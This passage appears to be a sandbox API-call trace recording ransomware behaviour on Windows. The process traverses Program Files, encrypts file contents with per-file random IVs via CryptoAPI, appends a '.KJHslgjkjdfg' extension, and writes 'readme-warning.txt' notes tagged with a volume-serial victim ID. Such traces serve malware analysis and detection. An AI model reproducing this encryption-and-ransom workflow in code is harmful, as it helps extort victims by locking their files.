dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.649] GetLastError () returned 0x5 [0180.703] GetProcessHeap () returned 0x990000 [0180.703] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.758] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0180.758] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0180.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0180.761] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.761] GetProcessHeap () returned 0x990000 [0180.761] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.761] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0180.761] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.761] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0180.761] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0180.761] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0180.761] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0180.761] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0180.762] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0180.762] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0180.762] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.762] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.762] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1cc, lpOverlapped=0x0) returned 1 [0180.762] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x1d0) returned 1 [0180.762] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.762] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x1d0, lpOverlapped=0x0) returned 1 [0180.762] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.762] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.762] SetEndOfFile (hFile=0x124) returned 1 [0180.763] GetProcessHeap () returned 0x990000 [0180.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.764] GetProcessHeap () returned 0x990000 [0180.764] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.764] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.KJHslgjkjdfg" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.kjhslgjkjdfg")) returned 1 [0180.768] CloseHandle (hObject=0x124) returned 1 [0180.768] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0180.768] GetProcessHeap () returned 0x990000 [0180.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.768] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df330 | out: pbData=0x9af7b0, pdwDataLen=0x29df330) returned 1 [0180.768] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.768] GetProcessHeap () returned 0x990000 [0180.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.768] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df330 | out: pbData=0x9af7f8, pdwDataLen=0x29df330) returned 1 [0180.768] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.769] GetProcessHeap () returned 0x990000 [0180.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b1eb0 [0180.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.769] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b1eb0, pdwDataLen=0x29df330 | out: pbData=0x9b1eb0, pdwDataLen=0x29df330) returned 1 [0180.769] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.769] GetProcessHeap () returned 0x990000 [0180.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.769] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29def10 | out: pbData=0x9af840, pdwDataLen=0x29def10) returned 1 [0180.769] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.769] GetProcessHeap () returned 0x990000 [0180.769] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.769] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.769] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29def10 | out: pbData=0x9b18a0, pdwDataLen=0x29def10) returned 1 [0180.769] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.769] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29def0c | out: phkResult=0x29def0c*=0x124) returned 0x0 [0180.769] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29def18, lpcbData=0x29def14*=0x400 | out: lpType=0x0, lpData=0x29def18*=0x30, lpcbData=0x29def14*=0x18) returned 0x0 [0180.770] RegCloseKey (hKey=0x124) returned 0x0 [0180.770] GetProcessHeap () returned 0x990000 [0180.770] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.770] GetProcessHeap () returned 0x990000 [0180.770] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.770] GetProcessHeap () returned 0x990000 [0180.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0180.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b64e8) returned 1 [0180.770] CryptDecrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29dece4 | out: pbData=0x9b18a0, pdwDataLen=0x29dece4) returned 1 [0180.770] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0180.770] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.770] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.770] GetProcessHeap () returned 0x990000 [0180.770] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0180.771] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.771] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.771] GetProcessHeap () returned 0x990000 [0180.771] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9dc608 [0180.771] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt") returned 60 [0180.771] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt" (normalized: "c:\\program files\\internet explorer\\signup\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0180.776] WriteFile (in: hFile=0x124, lpBuffer=0x9dc608*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9dc608*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0180.777] CloseHandle (hObject=0x124) returned 1 [0180.778] GetProcessHeap () returned 0x990000 [0180.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.778] GetProcessHeap () returned 0x990000 [0180.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0180.778] GetProcessHeap () returned 0x990000 [0180.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.778] GetProcessHeap () returned 0x990000 [0180.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.778] FindClose (in: hFindFile=0x9b6568 | out: hFindFile=0x9b6568) returned 1 [0180.778] GetProcessHeap () returned 0x990000 [0180.778] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03c78 | out: hHeap=0x990000) returned 1 [0180.778] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0180.779] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0180.779] FindClose (in: hFindFile=0x9b65a8 | out: hFindFile=0x9b65a8) returned 1 [0180.779] GetProcessHeap () returned 0x990000 [0180.779] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0180.779] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29dfa98 | out: lpFindFileData=0x29dfa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee3b0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0180.779] GetProcessHeap () returned 0x990000 [0180.779] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x6a) returned 0x9b0940 [0180.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee3b0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b65a8 [0180.780] GetProcessHeap () returned 0x990000 [0180.780] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.780] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdee3b0c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee3b0c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.780] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e8b290, ftCreationTime.dwHighDateTime=0x1d5937e, ftLastAccessTime.dwLowDateTime=0x978fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5c7ff, ftLastWriteTime.dwLowDateTime=0x978fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5c7ff, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="arising.exe", cAlternateFileName="")) returned 1 [0180.780] GetProcessHeap () returned 0x990000 [0180.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26c) returned 0x9f9760 [0180.780] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0180.780] GetProcessHeap () returned 0x990000 [0180.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7c) returned 0x9b0940 [0180.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.781] GetProcessHeap () returned 0x990000 [0180.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.781] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.781] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 1 [0180.781] GetProcessHeap () returned 0x990000 [0180.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27e) returned 0xa03c78 [0180.781] GetProcessHeap () returned 0x990000 [0180.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b0940 [0180.781] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.789] GetProcessHeap () returned 0x990000 [0180.789] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.789] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.789] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0180.790] GetProcessHeap () returned 0x990000 [0180.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9ffc90 [0180.790] GetProcessHeap () returned 0x990000 [0180.790] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x98) returned 0x9b0940 [0180.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.792] GetProcessHeap () returned 0x990000 [0180.792] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.792] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.792] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0180.792] GetProcessHeap () returned 0x990000 [0180.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x29a) returned 0x9b1eb0 [0180.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.793] GetProcessHeap () returned 0x990000 [0180.793] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.793] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.793] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.793] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.793] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.793] GetProcessHeap () returned 0x990000 [0180.793] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.793] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.793] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.793] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.795] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.795] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, 